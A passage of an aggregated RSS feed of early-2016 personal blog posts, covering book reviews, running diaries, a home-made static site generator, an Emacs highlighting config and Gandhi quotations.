&lt;p&gt;Almost twelve years ago, I pointed out some &lt;a href="http://www.linuxjournal.com/article/7533"&gt;links between Scouting and Free as in Freedom Software&lt;/a&gt;, like, for example, those between B-P&amp;rsquo;s call to&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 05 Jan 2016 18:48:45 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/01/bit-prepared-12-years-later/</guid></item><item><title>Re-baking a scene from network in Unity</title><link>https://www.umarniz.com/re-baking-a-scene-from-network-in-unity/</link><description>Pulled down on request from the Unity legal team as using undocumented functions is considered breach of EULA. Sorry for the trouble.</description><author>Umar Nizamani | RSS Feed</author><pubDate>Tue, 05 Jan 2016 17:44:59 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/re-baking-a-scene-from-network-in-unity/</guid></item><item><title>repaying idea debt</title><link>https://rybakov.com/blog/first/</link><description>&lt;p&gt;Heute erst hab ich ein Artikel über &lt;a href="http://jessicaabel.com/2016/01/27/idea-debt/"&gt;idea debt&lt;/a&gt; gelesen - die große Anzahl an aufgeschriebenen Ideen kann eher hinderlich sein, und wie eine todo-Liste wirken, die man abarbeiten muss. Wer will denn sowas?&lt;/p&gt;
&lt;p&gt;Aber wohin mit den Ideen, mit den halb ausgesprochenen, halb im Mund hängenden Gedanken? Womit mit halb guten Fotos und unpassenden Anfängen?&lt;/p&gt;
&lt;p&gt;Vielleicht an diesen Ort? Vielleicht gefällt es ihnen in diesem ruhigen Teich.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 05 Jan 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/first/</guid></item><item><title>Star Trek creator was clueless about computers</title><link>https://stop.zona-m.net/2016/01/star-trek-creator-was-clueless-about-computers/</link><description>&lt;p&gt;&amp;ldquo;Star Trek creator didn&amp;rsquo;t have a clue of how computer actually work, and how to preserve digital documents, and the curators of his estate weren&amp;rsquo;t much better&amp;rdquo;: &lt;strong&gt;this&lt;/strong&gt; should be the appropriate title for the story titled &lt;a href="http://www.pcworld.com/article/3018315/storage/star-trek-creators-lost-words-recovered-from-old-floppies.html"&gt;&amp;ldquo;How Star Trek creator Gene Roddenberry&amp;rsquo;s words were freed from old floppy disks&amp;rdquo;.&lt;/a&gt; &lt;strong&gt;(but see the important update below!)&lt;/strong&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 05 Jan 2016 10:23:27 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/01/star-trek-creator-was-clueless-about-computers/</guid></item><item><title>Agile Software Development as a Cooperative Game</title><link>https://june.kim/cooperative-development/</link><author>june.kim</author><pubDate>Tue, 05 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/cooperative-development/</guid></item><item><title>Why client shaming is hurting the software industry</title><link>https://danielsada.tech/blog/client-shaming/</link><description>When you work in the software industry, indubitably you will find the (now very famous)BOFH, and Clients from Hell material, where a technical person complains about a client. Whether they asked for an impossible thing or software that doesn’t even make sense, the common mood (or at least what I get from them) is that the client is somewhat stupid, or short sighted. I don&amp;rsquo;t want to discuss whether the clients are on the right or not, but I want to talk about the way technical people address non technical people.</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Tue, 05 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/client-shaming/</guid></item><item><title>Janathon 2016 #4 - Furshernchurps</title><link>https://rjp.is/blogging/posts/janathon-2016-4-furshernchurps-2/</link><description>A while back I decided I was going to have fish and chips on Fridays. Obviously, being old and senile, that fell by the wayside pretty quickly. Until I remembered earlier and designated today &amp;ldquo;Honorary (if I walk to Blackheath Station chippy) Friday&amp;rdquo;.
No heart strap today which means no heart rate data from the Garmin but here&amp;rsquo;s the data from the Fitbit.
(In theory, I could merge the TCX files from both but&amp;hellip;)</description><author>infrequent oscillations</author><pubDate>Mon, 04 Jan 2016 21:55:45 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-4-furshernchurps-2/</guid></item><item><title>The day the mobile phone took a wrong, dumb turn</title><link>https://stop.zona-m.net/2016/01/the-day-the-mobile-phone-took-a-wrong-dumb-turn/</link><description>&lt;p&gt;A long time ago, we had really smart mobile phones:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 04 Jan 2016 10:48:53 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/01/the-day-the-mobile-phone-took-a-wrong-dumb-turn/</guid></item><item><title>Scraping websites with Cyborg</title><link>https://tomforb.es/blog/scraping-websites-with-cyborg/</link><description>I often find myself creating one-off scripts to scrape data off websites for various reasons. My go-to approach for this is to hack something together with Requests and BeautifulSoup , but this was getting tiring. Enter Cyborg , my library that makes writing web scrapers quick and easy. Cyborg is an...</description><author>Tom Forbes</author><pubDate>Mon, 04 Jan 2016 02:13:02 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/scraping-websites-with-cyborg/</guid></item><item><title>The Metronome Effect</title><link>https://june.kim/metronome-effect/</link><author>june.kim</author><pubDate>Mon, 04 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/metronome-effect/</guid></item><item><title>Ready Player One (Ready Player One, #1)</title><link>https://olshansky.info/book/ready_player_one_ready_player_one_1/</link><description>Olshansky's review of Ready Player One (Ready Player One, #1) by Ernest Cline</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 04 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/ready_player_one_ready_player_one_1/</guid></item><item><title>Janathon 2016 #3 - two runs, one cup (of coffee)</title><link>https://rjp.is/blogging/posts/janathon-2016-3-two-runs-one-cup-of-coffee-2/</link><description>Had to go and pick up some extra drone batteries (which may turn out to be a mistake - the 500mAh one it came with hadn&amp;rsquo;t died after 12 minutes and these are 680mAh - giving me at least an hour of cumulative flight) and I decided that running there and back would make up for lazing about watching Elementary all day.
(Plus it would earn me a coffee and croissant.</description><author>infrequent oscillations</author><pubDate>Sun, 03 Jan 2016 20:36:20 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-3-two-runs-one-cup-of-coffee-2/</guid></item><item><title>Books I Read in 2015</title><link>https://www.anmolsarma.in/post/books-2015/</link><description>&lt;p&gt;&lt;img alt="" src="https://www.anmolsarma.in/images/2016/books-2015.jpg" /&gt;&lt;/p&gt;
&lt;h3 id="india-after-gandhi-by-ramachandra-guha"&gt;India After Gandhi by Ramachandra Guha&lt;/h3&gt;
&lt;p&gt;A thoroughly sourced, brilliantly written and mostly objective history of India. Guha’s scholarship and unbiased account really shines throughout the book. Save for one non-sequitur and one inaccurate and one might say unfair characterization there is nothing to complain about. The rare photographs included in the book are fascinating by themselves. Reading the book makes you wonder if it is Indian history itself or Guha’s writing that makes it such a page turner. Definitely the best book I’ve read this year. Would  recommend.&lt;/p&gt;
&lt;h3 id="patriots-and-partisans-by-ramachandra-guha"&gt;Patriots and Partisans by Ramachandra Guha&lt;/h3&gt;
&lt;p&gt;A collection of essays on India from a self proclaimed liberal centrist. Chock full of telling anecdotes and witty insights.  While it is interesting on it’s own, it is nowhere as gripping as India After Gandhi. Guha is definitely a better scholar than he is a polemicist but he really excels as a storyteller. The chapter describing how the Congress Dynasty and its sychophants destroyed an insititution Guha personally cherished was probably the best of the lot. Would recommend.&lt;/p&gt;
&lt;h3 id="ramayana-by-valmiki-as-retold-by-c-rajagopalachari"&gt;Ramayana by Valmiki as retold by C. Rajagopalachari&lt;/h3&gt;
&lt;p&gt;A highly condensed and simplified retelling of the timeless epic from one &lt;em&gt;bhakta&lt;/em&gt; intended for prospective young &lt;em&gt;bhaktas&lt;/em&gt;. But for me, Rajaji’s commentary and comparison between different versions of the epic are more interesting than the actual narrative. The standard trope of digressing to heap praise on the protagonist slackens the pace and gets rather irritating after the first few times. So irritating that finishing this book took me far longer than it should have, given its size. Would not recommend.&lt;/p&gt;
&lt;h3 id="picture-of-dorian-grey-by-oscar-wilde"&gt;Picture of Dorian Grey by Oscar Wilde&lt;/h3&gt;
&lt;p&gt;Beneath the endlessly quotable characters and beyond the absurd supernatural premise lies a much deeper message. Or possibly several such messages. Sadly, I for one have no idea what they are supposed to be. Wilde’s self-indulgent prose aside, I found the book incredibly difficult to read and had to force myself to finish it. Unlike almost everyone else I know who has read the book, it had no discernible impact on me except for making me a little more choosy about what I read. Would not recommend&lt;/p&gt;
&lt;h3 id="a-short-history-of-nearly-everything-by-bill-bryson"&gt;A Short History Of Nearly Everything by Bill Bryson&lt;/h3&gt;
&lt;p&gt;A very lucid and easily digestible survey of what we know and how we know what we know. Funny, insightful and entertaining, Bryson’s curiosity and style makes even geology seem interesting. While doing a good job of explaining the science and the history behind the science, it also manages to capture the human side of the countless passionate men and women who dedicate their lives to advancing the state of human knowledge. Would recommend.&lt;/p&gt;
&lt;h3 id="the-ultimate-hitchhikers-guide-to-the-galaxy-by-douglas-adams"&gt;The Ultimate Hitchhiker&amp;rsquo;s Guide to the Galaxy by Douglas Adams&lt;/h3&gt;
&lt;p&gt;Technically not one book but &lt;em&gt;&amp;ldquo;a trilogy of five&amp;rdquo;&lt;/em&gt;. The Hitchhiker&amp;rsquo;s Guide to the Galaxy and The Restaurant at the End of the Universe are absolutely hilarious. Life, the Universe and Everything, So Long, and Thanks for All the Fish and Mostly Harmless are slightly less so. It&amp;rsquo;s probably a bad idea to go through all of them in one go because the absurdity gets a little too much to handle. An otherwise brilliant collection. Would recommend.&lt;/p&gt;
&lt;h3 id="siddhartha-by-hermann-hesse-as-translated-by-hilda-rosner"&gt;Siddhartha by Hermann Hesse as translated by Hilda Rosner&lt;/h3&gt;
&lt;p&gt;The best thing about this book is its size. At barely 150 pages, you don’t waste too much time on this New Age twaddle full of knowing smiles, hearts spontaneously bursting with joy and characters who for some reason resemble various fruit and vegetables. Much like the narrative, Hesse’s attempt at reproducing Sanskrit idioms feels jarring and pointless.  The only realization I had from reading this book was that the eponymous protagonist went about the ashramas of life in a vipareeta order. Would not recommend.&lt;/p&gt;
&lt;h3 id="train-to-pakistan-by-khushwant-singh"&gt;Train to Pakistan by Khushwant Singh&lt;/h3&gt;
&lt;p&gt;A fictional account of a very real disaster. Kushwant Singh’s prose is simple, engaging and very readable. The characters  and the setting feel all too familiar and real as do the norms and social memes. The book does a very good job of capturing the senselessness of the violence and the tribal rationalizations invoked to justify it. The ending, while a little over the top, does manage to leave an emotional impact. Would recommend.&lt;/p&gt;
&lt;h3 id="if-its-monday-it-must-be-madurai-by-srinath-perur"&gt;If It&amp;rsquo;s Monday It Must Be Madurai by Srinath Perur&lt;/h3&gt;
&lt;p&gt;This was the first travel book I’ve ever read and it did not disappoint. Perur’s book is as much about the people he traveled with and their reasons  for travelling as it is bout the places themselves. The observations of the stereotypical Indian traits and notions are spot on and the commentary is effortlessly funny. The book is perhaps more accurately subtitled A Conducted tour of the Indian Traveler. Would recommend.&lt;/p&gt;
&lt;h3 id="brave-new-world-by-aldous-huxley"&gt;Brave New World by Aldous Huxley&lt;/h3&gt;
&lt;p&gt;The book most frequently compared to and contrasted with George Orwell’s dystopian 1984. Huxley’s  take on dystopia is an anti-utopia centered around the cult of Henry Ford. While the premise is decent, the over the top caricature of Fordian society as the opposite of what is Huxley’s sense of morality does reduce the overall impact and the result is no where as haunting as 1984’s Big Brother. The book is short enough to finish in a couple of sittings and it is probably best to finish it quickly as I found it difficult to read when stretched out. Would recommend.&lt;/p&gt;
&lt;h3 id="the-accidental-prime-minister-by-sanjaya-baru"&gt;The Accidental Prime Minister by Sanjaya Baru&lt;/h3&gt;
&lt;p&gt;After the 2008 financial crisis, as major economies of the world went into recession, the Indian growth story seemed to remain intact. International journalists looking for post hoc explanation began to hail Dr. Manmohan Singh as the economist prime minister who held it together. Unblemished by the taint of corruption that was to follow, at this point Dr. Singh enjoyed international recognition and renown. In this supposed tell-all book, Sanjaya Baru claims credit for the successful PR campaign he undertook as the PM’s spin doctor. While book is in no way a revelation, it does flesh out the details and put things into perspective about how the UPA government and the Congress party functioned. Would recommend.&lt;/p&gt;
&lt;h3 id="arthashastra-by-kautilya-as-translated-and-rearranged-by-ln-rangarajan"&gt;Arthashastra by Kautilya as translated and rearranged by L.N. Rangarajan&lt;/h3&gt;
&lt;p&gt;As if taking a cue from the success of Art of War themed self-help books, distilled Kautilyan teachings re-purposed for the modern corporate have become popular of late. Not wanting to be given truisms of some random author’s reading into Kautilya, I went to the original source. While I couldn’t find any universally applicable ancient wisdom, reading the Arthashastra was enjoyable. Rather than the simplified, whitewashed and sometimes politically colored descriptions of ancient India of history books, the Arthashastra is a contemporary insider’s account of ancient Indian society or at least an idealized conception of it. But given its nature, the book is filled with lists and tables and permutations and gradations. Skimming through these and focusing on more subjective descriptions makes for a very interesting reading. Would recommend.&lt;/p&gt;
&lt;h3 id="burmese-days-by-george-orwell"&gt;Burmese Days by George Orwell&lt;/h3&gt;
&lt;p&gt;Based on Orwell’s time as an officer of the Indian Imperial Police, Burmese Days pulls no punches while describing the colonial experience. The hypocrisy and cognitive dissonance of the British, the opportunism and corruption of native officials, the vanity and the pointless pursuit of prestige by everyone involved, the frustrated attempts at finding love an companionship and finally the frailty of the human condition, Orwell tackles it all. While nowhere near as popular as Orwell’s other books, Burmese Days is certainly an excellent book. Would recommend.&lt;/p&gt;
&lt;h3 id="who-was-shivaji-by-govind-pansare"&gt;Who Was Shivaji by Govind Pansare&lt;/h3&gt;
&lt;p&gt;This was not meant to be a book. Expanded from an earlier speech, Who Was Shivaji would have remained a niche political pamphlet hadn’t Govind Pansare been murdered in cold blood. The comrades of Left World Books seemed to have no ethical or ideological qualms about exploiting the death of its author. Even when printed using the ridiculously large font, the book still doesn’t reach a hundred pages. There just isn&amp;rsquo;t enough material to justify turning into a book. As for the material that is there, it is mostly unremarkable stuff. The most interesting parts of the book were actually the letters written by Shivaji, reproduced in the appendix. By far, the most disappointing book of the year. Would not recommend.&lt;/p&gt;
&lt;h3 id="the-great-indian-novel-by-shashi-tharoor"&gt;The Great Indian Novel by Shashi Tharoor&lt;/h3&gt;
&lt;p&gt;Puns, allusions and witticisms that&amp;rsquo;s what The Great Indian Novel is made of. The title being a reference to Mahabharata, Sashi Tharoor’s debut novel tells the story of modern India using characters from the epic. Tharoor’s style is engaging, extremely irreverent and incredibly funny. Taking shots at everyone from Gandhi to Nehru to the Indian media with a few self-referential jokes about NRI’s and diplomats thrown in for good measure. After an excellent start, and buildup, the plot sags a bit. Given the subject matter, there probably is no closure possible but the climax does feel a bit week. Overall a decent way to close the year. Would recommend.&lt;/p&gt;</description><author>Anmol Sarma</author><pubDate>Sun, 03 Jan 2016 18:06:15 GMT</pubDate><guid isPermaLink="true">https://www.anmolsarma.in/post/books-2015/</guid></item><item><title>About this blog</title><link>https://qubyte.codes/blog/about-this-blog</link><description>&lt;p&gt;This blog took a long time to get started. Every time I tried to build it, I wound up focussed on
some tech I wanted to use to host it. In the previous iteration, I even
&lt;a href="https://codeberg.org/qubyte/toisu-monorepo"&gt;wrote a server framework&lt;/a&gt;. I took some holiday over the Christmas
period, so I decided to throw everything away and make something minimal.&lt;/p&gt;
&lt;p&gt;I chose to go with NGINX serving flat files produced by a static site generator. This is still me of
course, and on my own time I like to allow myself to indulge in a little reinvention of the wheel,
so I wrote the generator myself. It's about a hundred lines of code, mainly stitching together other
small modules. I used Node to make the generator, with the following modules:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;module&lt;/th&gt;
&lt;th&gt;explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/front-matter"&gt;&lt;code&gt;front-matter&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;For keeping YAML metadata at the top of post files.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/marked"&gt;&lt;code&gt;marked&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To compile post markdown to HTML.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/highlight.js"&gt;&lt;code&gt;highlight.js&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To highlight code listings.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/handlebars"&gt;&lt;code&gt;handlebars&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To render posts into templates and an index page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/remark"&gt;&lt;code&gt;remark&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To pluck the first paragraph from each post to render into the index page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/slug"&gt;&lt;code&gt;slug&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To make post URLs readable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/packages/clean-css"&gt;&lt;code&gt;clean-css&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;To compile CSS sources together.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Posts are markdown files committed to a git repo. I use the pre-commit hook to compile and add the
rendered posts. At the moment I log into the server to pull changes down. I'll have that working on
a GitHub hook soon.&lt;/p&gt;
&lt;p&gt;I've no intention of posting the generator, since that would mean supporting it. It's strictly for
my use. I've linked the modules above since they've been very useful to me. If you're thinking about
setting up a blog and you're a programmer, I recommend this approach!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 03 Jan 2016 14:22:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/about-this-blog</guid></item><item><title>Five books I read in 2015</title><link>https://blog.separateconcerns.com/2016-01-03-five-books-2015.html</link><description>&lt;p&gt;It is that time of the year where my RSS feed fills with book recommendations,
so I decided I would try my hand at the exercise this year and write a short
paragraph about five books I read in 2015 that left me with a good impression.&lt;/p&gt;
&lt;section id="The-Year-Without-Pants---Scott-Berkun"&gt;
&lt;h2&gt;&lt;a href="https://www.amazon.com/gp/product/1118660633/"&gt;The Year Without Pants - Scott Berkun&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Scott Berkun was a management writer and consultant when he was hired by
WordPress. Before that, he had been a UX designer and team lead at Microsoft,
on the Internet Explorer project. When he joined WordPress, the company had
over 50 employees, it was completely flat and had a culture of remote work.
The founder wanted to experiment with a team-based structure, and Scott was
to be the first team lead.&lt;/p&gt;
&lt;p&gt;The book is not a story about how WordPress was a doomed company, and how
Scott came in to save the day. On the contrary, WordPress was already working
much better than most companies that size, and Scott was part of a series of
changes they implemented to scale to the next level without losing too much
of their culture.&lt;/p&gt;
&lt;p&gt;That culture, rooted in Open Source and documented by Berkun, an outsider,
is what makes the book interesting. I would say it is a must read for
anybody considering starting or leading a team at a small software company.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="The-Open-Organization---Jim-Whitehurst"&gt;
&lt;h2&gt;&lt;a href="https://www.amazon.com/gp/product/1625275277/"&gt;The Open Organization - Jim Whitehurst&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This book is somehow similar to the one above, but on a larger scale.
Jim Whitehurst is the current CEO of Red Hat, a company with over $1.5B in
yearly revenue, over 8000 employees, and a culture firmly rooted in Open
Source (I started using Linux with their distribution, Red Hat 6.2, in 2000).&lt;/p&gt;
&lt;p&gt;Before joining Red Hat, Whitehurst was COO of Delta Airlines. When he arrived
at Red Hat, he quickly realized it was a company that worked in a very
different way, following the core values of Open Source, transparency and
meritocracy (Whitehurst uses the word with the meaning it had in the
Free Software community in the 90s and 00s, without the background that makes
it controversial nowadays).&lt;/p&gt;
&lt;p&gt;The book is both analytical and prescriptive, and it shows how the way
Open Source projects are organized can be successfully adopted by a large
company.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="The-Systems-Bible-Systemantics---John-Gall"&gt;
&lt;h2&gt;&lt;a href="https://www.amazon.com/gp/product/0961825170/"&gt;The Systems Bible (Systemantics) - John Gall&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A 1975 classic. Gall is a (retired) pediatrician, but he is well-known in
software engineering circles for this book which contains, among other things,
what is now known as Gall’s Law:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A complex system that works is invariably found to have evolved from a simple
system that worked. A complex system designed from scratch never works and
cannot be patched up to make it work.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The book is a curious mix of humor and philosophy, written in faux-scientific
style and full of things which people working in Distributed Systems will be
painfully aware of:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In complex systems, malfunction and even total non-function may not be
detectable for long periods, if ever.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Any large system is going to be operating most of the time in failure mode.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Intermittent failure is the hardest case.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;One does &lt;strong&gt;not&lt;/strong&gt; know all the expected effects of known bugs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;In setting up a new system, tread softly. You may be disturbing another
system that is actually working.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Bad design can rarely be overcome by more design, whether good or bad.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A system that ignores feedback has already begun the process of terminal
instability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;In dealing with large systems, the striving for perfection is a serious
imperfection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Remember: this book is originally not about &lt;strong&gt;computer&lt;/strong&gt; systems. Not at all.
But read it anyway!&lt;/p&gt;
&lt;/section&gt;
&lt;section id="The-Four-Steps-to-the-Epiphany---Steve-Blank"&gt;
&lt;h2&gt;&lt;a href="https://www.amazon.com/gp/product/0989200507/"&gt;The Four Steps to the Epiphany - Steve Blank&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I have read &lt;a href="https://www.amazon.com/gp/product/B004J4XGN6/"&gt;several&lt;/a&gt; &lt;a href="https://www.amazon.com/gp/product/1492180742/"&gt;other&lt;/a&gt;
&lt;a href="https://www.amazon.com/gp/product/111829534X/"&gt;books&lt;/a&gt; &lt;a href="https://www.amazon.com/gp/product/B006UKFFE0/"&gt;about&lt;/a&gt; Lean Startup,
but this is the one I would recommend now, especially if you already have
some experience with startups.&lt;/p&gt;
&lt;p&gt;It exposes the Customer Development model, composed of four steps:
Customer Discovery, Customer Validation, Customer Creation and Company
Building. The most interesting ones, in my opinion, are the first two,
the ones that occur before Product / Market Fit.&lt;/p&gt;
&lt;p&gt;Read this book if you want to understand what this Lean Startup thing is
about, and offer it to your friends who want to start their own business.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Flash-Boys:-Not-So-Fast---Peter-Kovac"&gt;
&lt;h2&gt;&lt;a href="https://www.amazon.com/gp/product/0692336907/"&gt;Flash Boys: Not So Fast - Peter Kovac&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This book is an answer to Michael Lewis’ Flash Boys and a defence of
High-Frequency Trading.&lt;/p&gt;
&lt;p&gt;I have long thought that the financial world used HFT as a scapegoat
(especially since I read
&lt;a href="https://www.chrisstucchio.com/blog/2012/hft_apology.html"&gt;Chris Stucchio’s blog&lt;/a&gt;).
Flash Boys: Not So Fast follows the structure of Lewis’ book; it provides a
nice overview of what HFT is and why it may not be as evil as you think it is.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Sun, 03 Jan 2016 13:40:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2016-01-03-five-books-2015.html</guid></item><item><title>Steve Jobs: The Man in the Machine</title><link>https://olshansky.info/movie/steve_jobs_the_man_in_the_machine/</link><description>Olshansky's review of Steve Jobs: The Man in the Machine</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 03 Jan 2016 03:02:35 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/steve_jobs_the_man_in_the_machine/</guid></item><item><title>The Cobbler</title><link>https://olshansky.info/movie/the_cobbler/</link><description>Olshansky's review of The Cobbler</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 03 Jan 2016 02:56:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_cobbler/</guid></item><item><title>Emacs highlight-symbol-mode</title><link>https://xenodium.com/emacs-highlight-symbol-mode</link><description>&lt;p&gt;Been a fan of &lt;a href="https://github.com/fgeller/highlight-thing.el"&gt;highlight-thing-mode&lt;/a&gt;. It automatically highlights all instances of symbol at point. Today, I gave &lt;a href="https://github.com/nschum/highlight-symbol.el"&gt;highlight-symbol&lt;/a&gt; a try. Similar concept, but also adds the ability to jump to next/previous instances of symbol at point.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package highlight-symbol :ensure t
  :config
  (set-face-attribute 'highlight-symbol-face nil
                      :background &amp;quot;default&amp;quot;
                      :foreground &amp;quot;#FA009A&amp;quot;)
  (setq highlight-symbol-idle-delay 0)
  (setq highlight-symbol-on-navigation-p t)
  (add-hook 'prog-mode-hook #'highlight-symbol-mode)
  (add-hook 'prog-mode-hook #'highlight-symbol-nav-mode))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-highlight-symbol-mode/highlight-symbol.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 03 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-highlight-symbol-mode</guid></item><item><title>Gandhi's ever-contemporary wisdom</title><link>https://xenodium.com/gandhis-ever-contemporary-wisdom</link><description>&lt;p&gt;From &lt;a href="http://www.amazon.co.uk/Gandhi-Changing-Mohandas-Karamchand-published/dp/B015GRZTP2"&gt;Gandhi: Radical Wisdom for a Changing World&lt;/a&gt;:&lt;/p&gt;
&lt;h2&gt;Anger&lt;/h2&gt;
&lt;p&gt;&amp;quot;I do get angry, but I feel angry with myself for it. Full conquest of anger is possible only through self-realization. We should love even those who have the worst opinion of us. This is ahimsa, the rest is only ignorance.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Bad handwriting&lt;/h2&gt;
&lt;p&gt;&amp;quot;I am now of opinion that children should first be taught the art of drawing before learning how to write. Let the child learn his letters by observation as he does different objectives, such as flowers, birds, etc., and let him learn handwriting only after he has learned to draw objects.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Conduct of the Ashram&lt;/h2&gt;
&lt;p&gt;&amp;quot;Service without humility is selfishness and egotism.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Eating&lt;/h2&gt;
&lt;p&gt;&amp;quot;There is a great deal of truth in the saying that man becomes what he eats. The grosser the food, the grosser the body.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Heart&lt;/h2&gt;
&lt;p&gt;&amp;quot;There are chords in every human heart. If we only know how to strike the right chord, we bring out the music.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Moral law&lt;/h2&gt;
&lt;p&gt;The law of truth and love.&lt;/p&gt;
&lt;h2&gt;Renouncing or forgoing&lt;/h2&gt;
&lt;p&gt;Nishkulanand sings: &amp;quot;Renunciation of objects, without the renunciation of desires, is short-lived, however hard you may try.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Silence&lt;/h2&gt;
&lt;p&gt;&amp;quot;Man spoils matters much more by speech than by silence.&amp;quot;&lt;/p&gt;
&lt;h2&gt;Time&lt;/h2&gt;
&lt;p&gt;&amp;quot;Every minute that runs to waste never returns. Yet, knowing this, how much time do we waste?&amp;quot;&lt;/p&gt;
&lt;h2&gt;The palate&lt;/h2&gt;
&lt;p&gt;&amp;quot;Turn to the birds and beasts, and what do you find? They never eat merely to please the palate, they never go on eating till their inside is full to overflowing. And yet, we regard ourselves as superior to the animal creation!&amp;quot;&lt;/p&gt;
&lt;h2&gt;Vow of Swadeshi&lt;/h2&gt;
&lt;p&gt;&amp;quot;The person who has taken the vow of swadeshi will never use articles which conceivably involve violation of truth in their manufature or on the part of their manufacturers.&amp;quot;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 03 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gandhis-ever-contemporary-wisdom</guid></item><item><title>How Necessary Are Those Expenses?</title><link>https://tiltingatwindmills.dev/how-necesse-expenses/</link><description>One of the key elements of personal finance is separating "needs" from
